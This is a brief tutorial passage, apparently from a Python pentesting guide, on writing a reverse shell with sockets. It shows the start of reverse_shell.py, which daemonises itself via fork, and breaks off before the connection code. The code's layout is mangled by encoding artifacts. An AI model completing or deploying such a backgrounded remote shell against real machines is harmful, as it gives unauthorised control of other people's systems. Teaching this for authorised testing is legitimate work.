Implementing a reverse shell with sockets
A reverse shell is an action by which a user gains access to the shell of an external server. For example, if you are working in a post-exploitation pentesting phase and would like to create a script that is invoked in certain scenarios that will automatically get a shell to access the filesystem of another machine, we could build our own reverse shell in Python.
You can find the following code in the reverse_shell.py
file:
import socket import subprocess import os socket_handler = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: Â Â Â Â if os.fork() > 0: Â Â Â Â Â Â Â Â os._exit(0) except OSError as error: Â Â Â Â print('Error in fork process: %d (%s)' % (error.errno, error.strerror)) Â Â Â Â pid = os.fork() Â Â Â Â if pid > 0: Â Â Â Â Â Â Â Â print('Fork Not Valid!') socket_handler...